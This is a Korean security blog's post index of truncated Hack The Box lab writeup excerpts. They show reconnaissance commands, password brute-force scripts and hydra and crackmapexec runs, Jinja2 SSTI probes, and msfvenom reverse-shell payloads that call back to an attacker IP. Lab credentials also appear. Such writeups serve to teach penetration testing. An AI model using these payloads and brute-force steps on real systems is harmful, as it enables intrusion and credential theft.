티스토리

Vardy.log

검색하기

블로그 홈

Vardy.log

vardy.tistory.com/m

jinkyu7717@gmail.com

구독자: 6

방명록 방문하기

주요 글 목록

[HTB] Neonify Writeup 주어진 페이지에 접속해보자. 문자열을 입력하면 네온사인처럼 빛나게 출력해주는 웹 페이지가 나타난다. 상세 소스를 분석해보자. ruby언어로 이루어져 있으며, neon파라미터의 값이 ERB.new() 처리가 되는데, 선행되는 조건은 입력값이 영어대소문자, 스페이스, 숫자 로만 이루어져야 한다. class NeonControllers < Sinatra::Base configure do set :views, "app/views" set :public_dir, "public" end get '/' do @neon = "Glow With The Flow" erb :'index' end post '/' do if params[:neon] =~ /^[0-9a-z ]+$/i @neon = ERB.new(params[:.. 공감수 0 댓글수 0 2023. 5. 19.
[HTB] Diogenes' Rage Writeup 주어진 페이지를 들어가보니 자판기처럼 꾸며놓은 페이지가 나타났다. 주어진 소스코드를 분석해보자. // index.js const fs = require('fs'); const express = require('express'); const router = express.Router(); const JWTHelper = require('../helpers/JWTHelper'); const AuthMiddleware = require('../middleware/AuthMiddleware'); let db; const response = data => ({ message: data }); router.get('/', (req, res) => { return res.render('index.html'); });.. 공감수 0 댓글수 0 2023. 5. 4.
[HTB] Precious Writeup nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.85.61 wkhtmltopdf 의 알려진 SSRF 취약점이 있지만 버전이 맞지 않았고, 버전 관계 없이 시도해보았을때 되지 않았다. https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/ SSRF Through PDF Generation SSRF Through PDF Generation www.jomar.fr 해당 버전인 wkhtmltopdf 0.12.6 에서도 CVE-2022-35583 라는 취약점이 존재하긴 했지만, 아직 공개된 POC는 없는 듯 했다. gobuster도 의미있는 결과가 나오지 않았고, 서버 버전이었던 nginx/1.18.0 + phusion .. 공감수 0 댓글수 0 2023. 5. 2.
[HTB] AbuseHumanDB Writeup 우선 플래그 획득 조건을 확인해보자. //database.js const sqlite = require('sqlite-async'); class Database { constructor(db_file) { this.db_file = db_file; this.db = undefined; } async connect() { this.db = await sqlite.open(this.db_file); } async migrate() { return this.db.exec(` PRAGMA case_sensitive_like=ON; DROP TABLE IF EXISTS userEntries; CREATE TABLE IF NOT EXISTS userEntries ( id INTEGER NOT NULL PRIMARY.. 공감수 0 댓글수 0 2023. 4. 28.
[HTB] petite rcbee Writeup 주어진 페이지에 접근해보자. 파일 업로드 기능이 있는 것을 확인 할 수 있다. 웹쉘 파일 업로드 하는 시나리오를 우선적으로 생각하며 소스코드를 분석해보았다. # utils.py import tempfile, glob, os from werkzeug.utils import secure_filename from application import main from PIL import Image ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg']) generate = lambda x: os.urandom(x).hex() def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower.. 공감수 0 댓글수 0 2023. 4. 25.
[HTB] Toxic Writeup 주어진 페이지에 접근해보자. 소스코드를 분석해보자. //index.php 공감수 0 댓글수 0 2023. 4. 21.
[HTB] Inject Writeup 포트스캐닝을 통해 정보를 수집해보자. nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.176.111 22, 8080 port 가 open되어있었다. 해당 포트에 취약점이 있는지 확인해보자. nmap --script vuln 10.129.176.111 -p 22,8080 -o nmapVulnScanResult.txt -Pn 8080포트에는 아래와 같은 웹 서비스가 오픈되어 있었다. 디렉토리 나 경로 정보를 수집해보자. gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.129.176.111:8080/ -x .php,.html,.txt,.jsp -o gobu.. 공감수 0 댓글수 1 2023. 4. 19.
[HTB] LoveTok Writeup 주어진 URL에 접근하면 아래와 같은 페이지가 나타난다. 별다른 기능은 없고, 하단의 Nah,~ 를 누르면 /?format=r 로 요청이 가고, 시간 정보가 바뀐다. 주어진 소스를 분석해보자. //TimeController.php 공감수 0 댓글수 0 2023. 4. 12.
[HTB] Weather App Writeup 주어진 URL에 접근하면 아래와 같은 페이지가 나타난다. 주어진 소스코드를 보니 login, register 두 페이지가 있었다. 우선 플래그의 획득 조건은 admin 계정을 사용해서 로그인 하는 것이다. router.post('/login', (req, res) => { let { username, password } = req.body; if (username && password) { return db.isAdmin(username, password) .then(admin => { if (admin) return res.send(fs.readFileSync('/app/flag').toString()); return res.send(response('You are not admin')); }) .ca.. 공감수 1 댓글수 0 2023. 4. 7.
[HTB] Popcorn Writeup 스캐닝을 통해 정보를 수집해보자. nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.36.23 22, 80 포트가 오픈되어있음을 확인하여 추가적으로 취약점이 있나 확인해보았다. nmap --script vuln 10.129.36.23 -p 22,80 -o nmapVulnScanResult.txt -Pn /test 가 있다는 정보 외 다른 정보가 없어서, gobuster를 통해 추가 파일이나 디렉토리 정보를 찾아보았다. gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.129.36.23/ -x .php,.html,.txt -o gobusterResult.t.. 공감수 1 댓글수 0 2023. 3. 31.
[HTB] Phonebook Writeup 주어진 URL에 접근해보자. 별로 주어지는 정보가 없어, gobuster도 돌려보고, sqli도 시도해보고 등등 해봤지만, 수확이 없었다. 어쨌든 하단의 Reese로 부터 메시지가 있는 것으로 보아 Reese의 계정을 탈취해보기로 하고 Bruteforce 공격을 시도했다. import requests url = "http://167.172.52.160:31677/login" with open("/usr/share/wordlists/rockyou.txt","r",encoding='iso-8859-1') as file: for password in file: data = { "username": "Reese", "password": password } res = requests.post(url, data=d.. 공감수 0 댓글수 0 2023. 3. 28.
[HTB] Help Writeup 서버에 대한 정보를 획득하기 위해 포트 스캐닝을 해보았다. nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.227.176 22, 80, 3000 포트가 오픈되어있음을 확인했다. 해당 포트에서의 취약점 존재 여부를 1차적으로 확인해봤다. nmap --script vuln 10.129.227.176 -p 22,80,3000 -o nmapVulnScanResult.txt -Pn 80포트에는 apache2 디폴트 페이지가 있었다. 그리고 /support/ 에는 HelpDeskZ 라는 서비스가 오픈되어있었다. searchsploit HelpDeskZ 해당 서비스에 대해 알려진 취약점이 있는지 확인해보았다. 아래와 같이 두 건이 있었다. 우선 첫 번째 파일업로드 취약점의 내용.. 공감수 0 댓글수 0 2023. 3. 16.
[HTB] Templated Writeup 문제 URL을 방문해보자. 문제 이름 및 Flask/Jinja2를 사용한다는 점에서 SSTI 관련 문제임을 유추 할 수 있다. 별다른 기능이 없어보이므로 SSTI 공격을 시도하기 위한 다른 기능을 찾기 위해 다른 경로에 접근을 시도해보다가 입력한 경로 정보가 응답 값에 그대로 반영됨을 알 수 있었다. 따라서 경로 값으로 Jinja2에서의 SSTI 값을 입력하니 유효함을 확인 할 수 있었다. SSTI 공격을 통한 RCE를 위해 아래 과정을 거쳐 시도해보았다. {{ 7*7 }} #49 {{ ''.__class__ }} # {{ ''.__class__.__mro__ }} #(, ) {{ ''.__class__.__mro__[1].__subclasses__() }} #[, , , , , , , , , , , ,.. 공감수 0 댓글수 0 2023. 3. 14.
[HTB] Monteverde Writeup nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.114.254 nmap --script vuln 10.129.114.254 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49677,49678,49679,49689,49697 -o nmapVulnScanResult.txt rpcclient -U "" -N 10.129.114.254 enumdomusers 계정 목록 획득 후 여러 공격기법을 수행해보았으나 실패했다. 그래서 bruteforce 공격을 시도해보았다. crackmapexec winrm 10.129.114.254 -u enumdomusers.txt -p enumdomusers.txt --cont.. 공감수 0 댓글수 0 2022. 5. 11.
[HTB] Cascade Writeup nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.114.244 rpcclient -U "" -N 10.129.114.244 enumdomusers queryuser 0x46f ldapsearch -x -b "dc=cascade,dc=local" 'objectClass=person' -h 10.129.114.244 ldapsearch -h 10.129.114.244 -p 389 -x -b "dc=cascade,dc=local" ldapsearch -H ldap://10.129.114.244 -x -b DC=cascade,DC=local "(objectClass=person)" | grep "sAMAccountName:" ldapsearch -x -b "dc=casca.. 공감수 0 댓글수 0 2022. 5. 10.
[HTB] Active Writeup nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.160.75 nmap --script vuln 10.129.160.75 -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49171,49175,49176 -o nmapVulnScanResult.txt smbmap -H 10.129.160.75 smbclient \\\\10.129.160.75\\Replication smb: \> recurse on smb: \> prompt off smb: \> ls python3 gpp-decrypt.py -f Groups.xml get user.txt(mg.. 공감수 0 댓글수 0 2022. 5. 10.
[HTB] Forest Writeup 보호되어 있는 글입니다. 공감수 0 댓글수 0 2022. 5. 9.
[HTB] SwagShop Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.153.231 80포트에 접근해보았지만 아래 URL로 리다이렉트되는 것 외 단서가 없어서 추가적인 조사를 해봤다. gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.153.231/ -x php,txt -o bigList nikto -h 10.129.153.231 -p 80 -output niktoResult.txt 우선, 페이지가 제대로 로딩되지 않는것은 hosts파일을 설정해줌으로써 해결했다. Magento에 대한 취약점을 찾아보자. 첫 번째로 37977.py를 사용 했다. target을.. 공감수 0 댓글수 0 2022. 5. 8.
[HTB] FreindZone Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.1.225 smb에 접근이 가능한것으로 보여 탐색을 해보았다. general 디렉토리에 읽기 권한, Development에 읽기, 쓰기 권한이 있음을 확인했다. smbmap -H 10.129.1.225 general 디렉토리에 cred.txt라는 파일이 있어서 확인해보았다. smbclient //10.129.1.225/general get creds.txt general_creds.txt 계정/패스워드 정보가 있었지만 ssh 접속 정보는 아니었다. 기억해두도록 하자. admin:WORKWORKHhallelujah@# Development 디렉토리에는 현재 파일이 존재하지 않았다. 그 외 기타 포트에 대한 취약점.. 공감수 0 댓글수 0 2022. 2. 16.
[HTB] Networked Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.154.46 gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.154.46/ -x php,txt -o gobusterResult.txt /upload.php를 통해 파일 업로드를 하면, /uploads/ 에 파일이 업로드 되는데 이 때 파일명이 변환된다. /backup 에는 소스파일이 있다. 이 파일들을 분석 해보니 이미지 파일만 업로드가 가능했다. 소스코드 분석 및 여러 시도를 하면서 이미지 파일 뒤에 php 소스를 붙히고, 이미지 이름을 aa.php.png와 같이 하면 웹쉘이 실행 가능.. 공감수 0 댓글수 0 2022. 2. 9.
[HTB] Irked Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.1.108 80포트에는 이미지 파일만이 존재했다. 다른 취약점이 있나 확인해보았다. nmap --script vuln 10.129.1.108 -p 22,80,111,6697,8067,50193,65534 -o nmapVulnScanResult.txt 8067 포트의 unrealircd backdoor 취약점을 통해 공략해보기로 했다. 관련해서 구글링을 하다가 아래 레퍼런스를 발견했다. https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor s.. 공감수 0 댓글수 0 2022. 2. 7.
[HTB] Sunday Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.152.134 finger service 공격 https://book.hacktricks.xyz/pentesting/pentesting-finger 79 - Pentesting Finger - HackTricks Finger is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office locati.. 공감수 0 댓글수 0 2022. 2. 6.
[HTB] Bounty Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.151.89 80포트가 활성화 되어있어서 접근해보았다. 해당 이미지 외에 별도의 취약 포인트를 찾을 수 없는듯 하여 dirb와 gobuster를 통해 조사해보았다. dirb http://10.129.151.223/ -X .php,.txt,.aspx,.conf -o dirbResult.txt gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.151.223/ -x php,txt,conf,aspx -o bigList transfer.aspx와 /uploadedfiles/가 존재함을 확인했다. t.. 공감수 0 댓글수 0 2022. 2. 5.
[HTB] Devel Writeup nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.150.253 ftp에 anonymous 계정으로 접근 가능하므로 리버스쉘을 업로드 하자. msfvenom -p windows/shell_reverse_tcp LHOST="10.10.14.114" LPORT=1234 -f aspx > reverseShell.aspx ftp put reverseShell.aspx nc -nvlp 1234 권한 상승을 위해 systeminfo 정보 저장 후 wes.py를 통해 유효한 취약점을 찾아보았다. python3 wes.py systeminfo.txt -i "priv" 그 중 40564.c를 활용하기로 했으며 문서에 안내되어있는대로 컴파일을 했다. i686-w64-mingw3.. 공감수 0 댓글수 0 2022. 2. 3.
[HTB] Valentine Writeup nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.182.216 nmap -O -sU -p- -o scanResultUdp.txt 10.129.182.216 nmap -sC -sS -sV -O -F 10.129.182.216 dirb, niko를 통해 활성화 되어있는 웹서비스에서 취약점이 존재하는지 찾아보았다. dirb http://10.129.182.216/ -o dirbResult.txt nikto -h 10.129.182.216 -p 80 -output niktoResult.txt /dev/ 파라미터에 접근해보니 hype_key, notes.txt 파일이 있었다. 그 중 hype_key 파일의 내용은 아래와 같았다. 2d 2d 2d 2d 2d 42 45 47 4.. 공감수 0 댓글수 0 2022. 1. 29.
[HTB] Grandpa Writeup nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.95.233 I활성화 되어있는 80포트에서 IS httpd 6.0 서비스를 사용중인걸 알 수 있었고, 접근해보니 아래와 같은 페이지가 나타났다. IIS 6.0 exploit 등 키워드로 검색 결과 아래 레퍼런스를 얻을 수 있었고, 리버스 쉘을 획득하는데 성공했다. https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269/blob/master/iis6%20reverse%20shell GitHub - g0rx/iis6-exploit-2017-CVE-2017-7269: iis6 exploit 2017 CVE-2017-7269 iis6 exploit 2017 CVE-2017-7269.. 공감수 0 댓글수 0 2022. 1. 27.
[HTB] Nibbles Writeup nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.180.107 80포트로 접근해보니 아래와 같은 페이지가 안내되었고, /nibbleblog/ 디렉토리에는 다음과같은 블로그페이지가 있었다. 경로에 /admin~ 이 존재하는 것을 보고 접근해보니 디렉토리인덱싱이 발생하는것을 확인 할 수있었다. 또한, 별도의 admin.php 페이지가 존재했다. hydra tool을 활용하여 관리자 계정에 대해 Bruteforce 공격을 해보았지만, 반복횟수에 따른 제한이 있는지 접근이 제한되어버렸다. hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.182.134 http-post-form "/nibbleblog/admin.php:.. 공감수 0 댓글수 0 2022. 1. 23.
[HTB] Jerry Writeup 공격 대상에 대한 정보를 획득하기 위해 포트스캐닝을 수행해보자. nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.1.110 유일하게 열려있는 8080 포트에 접근해보니, Apache Tomcat 디폴트 페이지가 나왔다. 관리자 페이지의 디폴트 주소인 /manager 에 접근해보니 계정 정보를 요구했다. 기본 관리자 계정 정보인 admin / admin 으로 로그인 하니, 아래와 같은 페이지가 나타났고, manager-gui의 계정 정보를 확인 할 수 있었다. ( tomcat / s3cret ) 다시 로그인 하면 아래와같은 gui 관리자 페이지가 나타난다. 관리자는 war 파일을 통해 업로드를 할 수 있으므로, war형식의 리버스 쉘 파일을 생성했다. msfvenom.. 공감수 0 댓글수 0 2022. 1. 22.
[HTB] Arctic Writeup nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.177.205 처음에는 msrpc 위주로 삽질을 해봤지만 큰 성과가 없었다. 8500포트에 대해서는 확실한정보가 주어지지 않았길래, 웹 브라우저를 통해 접근해보았다. 아래와 같은 페이지가 나타났다.(userfiles 디렉토리는 공격 이후 공격으로 인해 생성된 디렉토리이다.) 차근차근 디렉토리들을 탐색해 봤더니(요청하나당 10초이상 걸려서 힘들었다ㅠ) 아래와같은 페이지를 발견할수있었다. ADOBE coldfusion 8 서비스라는 것을 알게되었으니 활용할만한 취약점이 있나 확인해보았다. searchsploit coldfusion 8 RCE 공격이 가능한 exploit 코드가 있길래, 이를 활용해보기로 했다. search.. 공감수 0 댓글수 0 2022. 1. 19.
[HTB] Sense Writeup nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.255.245 443 port 에 lighttpd 서비스로 웹페이지가 활성화되어있는것을 알 수 있었다. dirb, gobuster 등을 활용하여 웹페이지의 취약 포인트를 찾아보았다. gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.129.255.245 -x php,txt,conf -o bigList /system-users.txt 에서 계정정보로 추정되는 값을 확인 할 수 있었다. password는 디폴트 값이므로 구글링 결과 pfsense 임을 알 수 있었다. 따라서, rohit / pfsense .. 공감수 0 댓글수 0 2022. 1. 17.

반응형

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.